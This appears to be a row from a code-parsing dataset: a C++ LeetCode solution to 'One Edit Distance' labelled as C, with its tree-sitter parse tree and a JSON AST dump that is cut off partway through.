language
stringclasses
1 value
code
stringlengths
6
12.3k
avg_line_length
float64
2.79
91
line_count
float64
1
367
lang_specific_parse
stringlengths
60
1.08M
ast_node_count
int64
2
6.81k
num_errors
int64
0
499
universal_schema
stringlengths
799
825k
__index_level_0__
int64
0
81.2k
c
// 161. One Edit Distance // https://leetcode.com/problems/one-edit-distance/ // Runtime: 4 ms, faster than 56.72% of C++ online submissions for One Edit Distance. // Memory Usage: 6.9 MB, less than 61.21% of C++ online submissions for One Edit Distance. class Solution { public: bool isOneEditDistance(string s, string t) { const int M = s.length(); const int N = t.length(); if (M + 1 == N) { int i = 0, j = 0, d = 0; while (j < N) { if (i < M && s[i] == t[j]) { ++i, ++j; continue; } else { // insert before s[i] ++j; if (++d > 1) return false; } } return i + 1 == j; } else if (M - 1 == N) { int i = 0, j = 0, d = 0; while (i < M) { if (j < N && s[i] == t[j]) { ++i, ++j; continue; } else { // delete s[i] ++i; if (++d > 1) return false; } } return i - 1 == j; } else if (M == N) { int r = 0; for (int i = 0; i < M; ++i) { if (s[i] == t[i]) continue; // replace s[i] if (++r > 1) return false; } return r == 1; } else { return false; } } };
29.67
51
(translation_unit) "// 161. One Edit Distance\n// https://leetcode.com/problems/one-edit-distance/\n\n// Runtime: 4 ms, faster than 56.72% of C++ online submissions for One Edit Distance.\n// Memory Usage: 6.9 MB, less than 61.21% of C++ online submissions for One Edit Distance.\n \nclass Solution {\npublic:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }\n};" (comment) "// 161. One Edit Distance" (comment) "// https://leetcode.com/problems/one-edit-distance/" (comment) "// Runtime: 4 ms, faster than 56.72% of C++ online submissions for One Edit Distance." (comment) "// Memory Usage: 6.9 MB, less than 61.21% of C++ online submissions for One Edit Distance." (function_definition) "class Solution {\npublic:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }\n}" (type_identifier) "class" (identifier) "Solution" (compound_statement) "{\npublic:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }\n}" ({) "{" (labeled_statement) "public:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }" (statement_identifier) "public" (:) ":" (ERROR) "bool isOneEditDistance(string s, string t)" (primitive_type) "bool" (function_declarator) "isOneEditDistance(string s, string t)" (identifier) "isOneEditDistance" (parameter_list) "(string s, string t)" (() "(" (parameter_declaration) "string s" (type_identifier) "string" (identifier) "s" (,) "," (parameter_declaration) "string t" (type_identifier) "string" (identifier) "t" ()) ")" (compound_statement) "{\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }" ({) "{" (declaration) "const int M = s.length();" (type_qualifier) "const" (const) "const" (primitive_type) "int" (init_declarator) "M = s.length()" (identifier) "M" (=) "=" (call_expression) "s.length()" (field_expression) "s.length" (identifier) "s" (.) "." (field_identifier) "length" (argument_list) "()" (() "(" ()) ")" (;) ";" (declaration) "const int N = t.length();" (type_qualifier) "const" (const) "const" (primitive_type) "int" (init_declarator) "N = t.length()" (identifier) "N" (=) "=" (call_expression) "t.length()" (field_expression) "t.length" (identifier) "t" (.) "." (field_identifier) "length" (argument_list) "()" (() "(" ()) ")" (;) ";" (if_statement) "if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }" (if) "if" (parenthesized_expression) "(M + 1 == N)" (() "(" (binary_expression) "M + 1 == N" (binary_expression) "M + 1" (identifier) "M" (+) "+" (number_literal) "1" (==) "==" (identifier) "N" ()) ")" (compound_statement) "{\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n }" ({) "{" (declaration) "int i = 0, j = 0, d = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (,) "," (init_declarator) "j = 0" (identifier) "j" (=) "=" (number_literal) "0" (,) "," (init_declarator) "d = 0" (identifier) "d" (=) "=" (number_literal) "0" (;) ";" (while_statement) "while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }" (while) "while" (parenthesized_expression) "(j < N)" (() "(" (binary_expression) "j < N" (identifier) "j" (<) "<" (identifier) "N" ()) ")" (compound_statement) "{\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }" ({) "{" (if_statement) "if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }" (if) "if" (parenthesized_expression) "(i < M && s[i] == t[j])" (() "(" (binary_expression) "i < M && s[i] == t[j]" (binary_expression) "i < M" (identifier) "i" (<) "<" (identifier) "M" (&&) "&&" (binary_expression) "s[i] == t[j]" (subscript_expression) "s[i]" (identifier) "s" ([) "[" (identifier) "i" (]) "]" (==) "==" (subscript_expression) "t[j]" (identifier) "t" ([) "[" (identifier) "j" (]) "]" ()) ")" (compound_statement) "{\n ++i, ++j;\n continue;\n }" ({) "{" (expression_statement) "++i, ++j;" (comma_expression) "++i, ++j" (update_expression) "++i" (++) "++" (identifier) "i" (,) "," (update_expression) "++j" (++) "++" (identifier) "j" (;) ";" (continue_statement) "continue;" (continue) "continue" (;) ";" (}) "}" (else_clause) "else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }" (else) "else" (compound_statement) "{\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }" ({) "{" (comment) "// insert before s[i]" (expression_statement) "++j;" (update_expression) "++j" (++) "++" (identifier) "j" (;) ";" (if_statement) "if (++d > 1) \n return false;" (if) "if" (parenthesized_expression) "(++d > 1)" (() "(" (binary_expression) "++d > 1" (update_expression) "++d" (++) "++" (identifier) "d" (>) ">" (number_literal) "1" ()) ")" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (}) "}" (}) "}" (return_statement) "return i + 1 == j;" (return) "return" (binary_expression) "i + 1 == j" (binary_expression) "i + 1" (identifier) "i" (+) "+" (number_literal) "1" (==) "==" (identifier) "j" (;) ";" (}) "}" (else_clause) "else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }" (else) "else" (if_statement) "if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }" (if) "if" (parenthesized_expression) "(M - 1 == N)" (() "(" (binary_expression) "M - 1 == N" (binary_expression) "M - 1" (identifier) "M" (-) "-" (number_literal) "1" (==) "==" (identifier) "N" ()) ")" (compound_statement) "{\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n }" ({) "{" (declaration) "int i = 0, j = 0, d = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (,) "," (init_declarator) "j = 0" (identifier) "j" (=) "=" (number_literal) "0" (,) "," (init_declarator) "d = 0" (identifier) "d" (=) "=" (number_literal) "0" (;) ";" (while_statement) "while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }" (while) "while" (parenthesized_expression) "(i < M)" (() "(" (binary_expression) "i < M" (identifier) "i" (<) "<" (identifier) "M" ()) ")" (compound_statement) "{\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }" ({) "{" (if_statement) "if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }" (if) "if" (parenthesized_expression) "(j < N && s[i] == t[j])" (() "(" (binary_expression) "j < N && s[i] == t[j]" (binary_expression) "j < N" (identifier) "j" (<) "<" (identifier) "N" (&&) "&&" (binary_expression) "s[i] == t[j]" (subscript_expression) "s[i]" (identifier) "s" ([) "[" (identifier) "i" (]) "]" (==) "==" (subscript_expression) "t[j]" (identifier) "t" ([) "[" (identifier) "j" (]) "]" ()) ")" (compound_statement) "{\n ++i, ++j;\n continue;\n }" ({) "{" (expression_statement) "++i, ++j;" (comma_expression) "++i, ++j" (update_expression) "++i" (++) "++" (identifier) "i" (,) "," (update_expression) "++j" (++) "++" (identifier) "j" (;) ";" (continue_statement) "continue;" (continue) "continue" (;) ";" (}) "}" (else_clause) "else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }" (else) "else" (compound_statement) "{\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }" ({) "{" (comment) "// delete s[i]" (expression_statement) "++i;" (update_expression) "++i" (++) "++" (identifier) "i" (;) ";" (if_statement) "if (++d > 1) \n return false;" (if) "if" (parenthesized_expression) "(++d > 1)" (() "(" (binary_expression) "++d > 1" (update_expression) "++d" (++) "++" (identifier) "d" (>) ">" (number_literal) "1" ()) ")" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (}) "}" (}) "}" (return_statement) "return i - 1 == j;" (return) "return" (binary_expression) "i - 1 == j" (binary_expression) "i - 1" (identifier) "i" (-) "-" (number_literal) "1" (==) "==" (identifier) "j" (;) ";" (}) "}" (else_clause) "else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }" (else) "else" (if_statement) "if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }" (if) "if" (parenthesized_expression) "(M == N)" (() "(" (binary_expression) "M == N" (identifier) "M" (==) "==" (identifier) "N" ()) ")" (compound_statement) "{\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n }" ({) "{" (declaration) "int r = 0;" (primitive_type) "int" (init_declarator) "r = 0" (identifier) "r" (=) "=" (number_literal) "0" (;) ";" (for_statement) "for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }" (for) "for" (() "(" (declaration) "int i = 0;" (primitive_type) "int" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < M" (identifier) "i" (<) "<" (identifier) "M" (;) ";" (update_expression) "++i" (++) "++" (identifier) "i" ()) ")" (compound_statement) "{\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }" ({) "{" (if_statement) "if (s[i] == t[i]) continue;" (if) "if" (parenthesized_expression) "(s[i] == t[i])" (() "(" (binary_expression) "s[i] == t[i]" (subscript_expression) "s[i]" (identifier) "s" ([) "[" (identifier) "i" (]) "]" (==) "==" (subscript_expression) "t[i]" (identifier) "t" ([) "[" (identifier) "i" (]) "]" ()) ")" (continue_statement) "continue;" (continue) "continue" (;) ";" (comment) "// replace s[i]" (if_statement) "if (++r > 1) return false;" (if) "if" (parenthesized_expression) "(++r > 1)" (() "(" (binary_expression) "++r > 1" (update_expression) "++r" (++) "++" (identifier) "r" (>) ">" (number_literal) "1" ()) ")" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (}) "}" (return_statement) "return r == 1;" (return) "return" (binary_expression) "r == 1" (identifier) "r" (==) "==" (number_literal) "1" (;) ";" (}) "}" (else_clause) "else {\n return false;\n }" (else) "else" (compound_statement) "{\n return false;\n }" ({) "{" (return_statement) "return false;" (return) "return" (false) "false" (;) ";" (}) "}" (}) "}" (}) "}" (expression_statement) ";" (;) ";"
400
1
{"language": "c", "success": true, "metadata": {"lines": 51, "avg_line_length": 29.67, "nodes": 244, "errors": 0, "source_hash": "4c5e6b9407924087cdaa50c0382117a7e3d95fbc9bc7cf4b30d570c4ab4bd71c", "categorized_nodes": 164}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "function_definition", "text": "class Solution {\npublic:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }\n}", "parent": null, "children": [1], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 51, "column": 1}}, {"id": 1, "type": "identifier", "text": "Solution", "parent": 0, "children": [], "start_point": {"row": 6, "column": 6}, "end_point": {"row": 6, "column": 14}}, {"id": 2, "type": "labeled_statement", "text": "public:\n bool isOneEditDistance(string s, string t) {\n const int M = s.length();\n const int N = t.length();\n if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }\n }", "parent": 0, "children": [3], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 50, "column": 5}}, {"id": 3, "type": "ERROR", "text": "bool isOneEditDistance(string s, string t)", "parent": 2, "children": [4, 5], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 46}}, {"id": 4, "type": "primitive_type", "text": "bool", "parent": 3, "children": [], "start_point": {"row": 8, "column": 4}, "end_point": {"row": 8, "column": 8}}, {"id": 5, "type": "function_declarator", "text": "isOneEditDistance(string s, string t)", "parent": 3, "children": [6, 7], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 46}}, {"id": 6, "type": "identifier", "text": "isOneEditDistance", "parent": 5, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 26}}, {"id": 7, "type": "parameter_list", "text": "(string s, string t)", "parent": 5, "children": [8, 11], "start_point": {"row": 8, "column": 26}, "end_point": {"row": 8, "column": 46}}, {"id": 8, "type": "parameter_declaration", "text": "string s", "parent": 7, "children": [9, 10], "start_point": {"row": 8, "column": 27}, "end_point": {"row": 8, "column": 35}}, {"id": 9, "type": "type_identifier", "text": "string", "parent": 8, "children": [], "start_point": {"row": 8, "column": 27}, "end_point": {"row": 8, "column": 33}}, {"id": 10, "type": "identifier", "text": "s", "parent": 8, "children": [], "start_point": {"row": 8, "column": 34}, "end_point": {"row": 8, "column": 35}}, {"id": 11, "type": "parameter_declaration", "text": "string t", "parent": 7, "children": [12, 13], "start_point": {"row": 8, "column": 37}, "end_point": {"row": 8, "column": 45}}, {"id": 12, "type": "type_identifier", "text": "string", "parent": 11, "children": [], "start_point": {"row": 8, "column": 37}, "end_point": {"row": 8, "column": 43}}, {"id": 13, "type": "identifier", "text": "t", "parent": 11, "children": [], "start_point": {"row": 8, "column": 44}, "end_point": {"row": 8, "column": 45}}, {"id": 14, "type": "declaration", "text": "const int M = s.length();", "parent": 2, "children": [15, 16], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 33}}, {"id": 15, "type": "primitive_type", "text": "int", "parent": 14, "children": [], "start_point": {"row": 9, "column": 14}, "end_point": {"row": 9, "column": 17}}, {"id": 16, "type": "init_declarator", "text": "M = s.length()", "parent": 14, "children": [17, 18, 19], "start_point": {"row": 9, "column": 18}, "end_point": {"row": 9, "column": 32}}, {"id": 17, "type": "identifier", "text": "M", "parent": 16, "children": [], "start_point": {"row": 9, "column": 18}, "end_point": {"row": 9, "column": 19}}, {"id": 18, "type": "=", "text": "=", "parent": 16, "children": [], "start_point": {"row": 9, "column": 20}, "end_point": {"row": 9, "column": 21}}, {"id": 19, "type": "call_expression", "text": "s.length()", "parent": 16, "children": [20, 23], "start_point": {"row": 9, "column": 22}, "end_point": {"row": 9, "column": 32}}, {"id": 20, "type": "field_expression", "text": "s.length", "parent": 19, "children": [21, 22], "start_point": {"row": 9, "column": 22}, "end_point": {"row": 9, "column": 30}}, {"id": 21, "type": "identifier", "text": "s", "parent": 20, "children": [], "start_point": {"row": 9, "column": 22}, "end_point": {"row": 9, "column": 23}}, {"id": 22, "type": "field_identifier", "text": "length", "parent": 20, "children": [], "start_point": {"row": 9, "column": 24}, "end_point": {"row": 9, "column": 30}}, {"id": 23, "type": "argument_list", "text": "()", "parent": 19, "children": [], "start_point": {"row": 9, "column": 30}, "end_point": {"row": 9, "column": 32}}, {"id": 24, "type": "declaration", "text": "const int N = t.length();", "parent": 2, "children": [25, 26], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 33}}, {"id": 25, "type": "primitive_type", "text": "int", "parent": 24, "children": [], "start_point": {"row": 10, "column": 14}, "end_point": {"row": 10, "column": 17}}, {"id": 26, "type": "init_declarator", "text": "N = t.length()", "parent": 24, "children": [27, 28, 29], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 32}}, {"id": 27, "type": "identifier", "text": "N", "parent": 26, "children": [], "start_point": {"row": 10, "column": 18}, "end_point": {"row": 10, "column": 19}}, {"id": 28, "type": "=", "text": "=", "parent": 26, "children": [], "start_point": {"row": 10, "column": 20}, "end_point": {"row": 10, "column": 21}}, {"id": 29, "type": "call_expression", "text": "t.length()", "parent": 26, "children": [30, 33], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 32}}, {"id": 30, "type": "field_expression", "text": "t.length", "parent": 29, "children": [31, 32], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 30}}, {"id": 31, "type": "identifier", "text": "t", "parent": 30, "children": [], "start_point": {"row": 10, "column": 22}, "end_point": {"row": 10, "column": 23}}, {"id": 32, "type": "field_identifier", "text": "length", "parent": 30, "children": [], "start_point": {"row": 10, "column": 24}, "end_point": {"row": 10, "column": 30}}, {"id": 33, "type": "argument_list", "text": "()", "parent": 29, "children": [], "start_point": {"row": 10, "column": 30}, "end_point": {"row": 10, "column": 32}}, {"id": 34, "type": "if_statement", "text": "if (M + 1 == N) {\n int i = 0, j = 0, d = 0;\n while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }\n return i + 1 == j;\n } else if (M - 1 == N) {\n int i = 0, j = 0, d = 0;\n while (i < M) {\n if (j < N && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // delete s[i]\n ++i;\n if (++d > 1) \n return false;\n }\n }\n return i - 1 == j;\n } else if (M == N) {\n int r = 0;\n for (int i = 0; i < M; ++i) {\n if (s[i] == t[i]) continue;\n // replace s[i]\n if (++r > 1) return false;\n }\n return r == 1;\n } else {\n return false;\n }", "parent": 2, "children": [35, 110], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 49, "column": 9}}, {"id": 35, "type": "parenthesized_expression", "text": "(M + 1 == N)", "parent": 34, "children": [36], "start_point": {"row": 11, "column": 11}, "end_point": {"row": 11, "column": 23}}, {"id": 36, "type": "binary_expression", "text": "M + 1 == N", "parent": 35, "children": [37, 41, 42], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 11, "column": 22}}, {"id": 37, "type": "binary_expression", "text": "M + 1", "parent": 36, "children": [38, 39, 40], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 11, "column": 17}}, {"id": 38, "type": "identifier", "text": "M", "parent": 37, "children": [], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 11, "column": 13}}, {"id": 39, "type": "+", "text": "+", "parent": 37, "children": [], "start_point": {"row": 11, "column": 14}, "end_point": {"row": 11, "column": 15}}, {"id": 40, "type": "number_literal", "text": "1", "parent": 37, "children": [], "start_point": {"row": 11, "column": 16}, "end_point": {"row": 11, "column": 17}}, {"id": 41, "type": "==", "text": "==", "parent": 36, "children": [], "start_point": {"row": 11, "column": 18}, "end_point": {"row": 11, "column": 20}}, {"id": 42, "type": "identifier", "text": "N", "parent": 36, "children": [], "start_point": {"row": 11, "column": 21}, "end_point": {"row": 11, "column": 22}}, {"id": 43, "type": "declaration", "text": "int i = 0, j = 0, d = 0;", "parent": 34, "children": [44, 45, 49, 53], "start_point": {"row": 12, "column": 12}, "end_point": {"row": 12, "column": 36}}, {"id": 44, "type": "primitive_type", "text": "int", "parent": 43, "children": [], "start_point": {"row": 12, "column": 12}, "end_point": {"row": 12, "column": 15}}, {"id": 45, "type": "init_declarator", "text": "i = 0", "parent": 43, "children": [46, 47, 48], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 21}}, {"id": 46, "type": "identifier", "text": "i", "parent": 45, "children": [], "start_point": {"row": 12, "column": 16}, "end_point": {"row": 12, "column": 17}}, {"id": 47, "type": "=", "text": "=", "parent": 45, "children": [], "start_point": {"row": 12, "column": 18}, "end_point": {"row": 12, "column": 19}}, {"id": 48, "type": "number_literal", "text": "0", "parent": 45, "children": [], "start_point": {"row": 12, "column": 20}, "end_point": {"row": 12, "column": 21}}, {"id": 49, "type": "init_declarator", "text": "j = 0", "parent": 43, "children": [50, 51, 52], "start_point": {"row": 12, "column": 23}, "end_point": {"row": 12, "column": 28}}, {"id": 50, "type": "identifier", "text": "j", "parent": 49, "children": [], "start_point": {"row": 12, "column": 23}, "end_point": {"row": 12, "column": 24}}, {"id": 51, "type": "=", "text": "=", "parent": 49, "children": [], "start_point": {"row": 12, "column": 25}, "end_point": {"row": 12, "column": 26}}, {"id": 52, "type": "number_literal", "text": "0", "parent": 49, "children": [], "start_point": {"row": 12, "column": 27}, "end_point": {"row": 12, "column": 28}}, {"id": 53, "type": "init_declarator", "text": "d = 0", "parent": 43, "children": [54, 55, 56], "start_point": {"row": 12, "column": 30}, "end_point": {"row": 12, "column": 35}}, {"id": 54, "type": "identifier", "text": "d", "parent": 53, "children": [], "start_point": {"row": 12, "column": 30}, "end_point": {"row": 12, "column": 31}}, {"id": 55, "type": "=", "text": "=", "parent": 53, "children": [], "start_point": {"row": 12, "column": 32}, "end_point": {"row": 12, "column": 33}}, {"id": 56, "type": "number_literal", "text": "0", "parent": 53, "children": [], "start_point": {"row": 12, "column": 34}, "end_point": {"row": 12, "column": 35}}, {"id": 57, "type": "while_statement", "text": "while (j < N) {\n if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }\n }", "parent": 34, "children": [58], "start_point": {"row": 13, "column": 12}, "end_point": {"row": 23, "column": 13}}, {"id": 58, "type": "parenthesized_expression", "text": "(j < N)", "parent": 57, "children": [59], "start_point": {"row": 13, "column": 18}, "end_point": {"row": 13, "column": 25}}, {"id": 59, "type": "binary_expression", "text": "j < N", "parent": 58, "children": [60, 61, 62], "start_point": {"row": 13, "column": 19}, "end_point": {"row": 13, "column": 24}}, {"id": 60, "type": "identifier", "text": "j", "parent": 59, "children": [], "start_point": {"row": 13, "column": 19}, "end_point": {"row": 13, "column": 20}}, {"id": 61, "type": "<", "text": "<", "parent": 59, "children": [], "start_point": {"row": 13, "column": 21}, "end_point": {"row": 13, "column": 22}}, {"id": 62, "type": "identifier", "text": "N", "parent": 59, "children": [], "start_point": {"row": 13, "column": 23}, "end_point": {"row": 13, "column": 24}}, {"id": 63, "type": "if_statement", "text": "if (i < M && s[i] == t[j]) {\n ++i, ++j;\n continue;\n } else {\n // insert before s[i]\n ++j;\n if (++d > 1) \n return false;\n }", "parent": 57, "children": [64, 88], "start_point": {"row": 14, "column": 16}, "end_point": {"row": 22, "column": 17}}, {"id": 64, "type": "parenthesized_expression", "text": "(i < M && s[i] == t[j])", "parent": 63, "children": [65], "start_point": {"row": 14, "column": 19}, "end_point": {"row": 14, "column": 42}}, {"id": 65, "type": "binary_expression", "text": "i < M && s[i] == t[j]", "parent": 64, "children": [66, 